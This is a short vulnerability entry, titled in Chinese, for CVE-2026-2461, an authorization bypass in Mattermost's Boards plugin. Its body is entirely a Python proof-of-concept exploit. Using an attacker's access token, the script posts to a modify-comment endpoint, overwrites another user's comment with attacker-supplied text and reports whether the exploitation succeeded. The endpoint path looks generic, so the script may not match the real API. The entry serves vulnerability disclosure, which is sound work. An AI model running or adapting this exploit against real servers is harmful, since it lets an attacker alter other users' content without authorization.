CVE-2026-2461 Mattermost Plugins评论修改权限绕过漏洞

# CVE-2026-2461 PoC - Mattermost Comment Modification # This PoC demonstrates the authorization bypass in comment block modification import requests import json TARGET_URL = "https://mattermost.example.com/api/v4/plugins" ACCESS_TOKEN = "attacker_access_token_here" def modify_comment(target_comment_id, malicious_content): """ Exploit: Modify comments created by other board members without proper authorization checks """ headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Original comment belongs to another user payload = { "comment_id": target_comment_id, # Other user's comment "content": malicious_content, "block_type": "comment" } # No ownership validation - attacker can modify any comment response = requests.post( f"{TARGET_URL}/boards/modify-comment", headers=headers, json=payload ) return response.status_code == 200 # Example usage if __name__ == "__main__": victim_comment_id = "comment_123456" fake_content = "Modified by attacker via CVE-2026-2461" success = modify_comment(victim_comment_id, fake_content) print(f"Exploitation successful: {success}")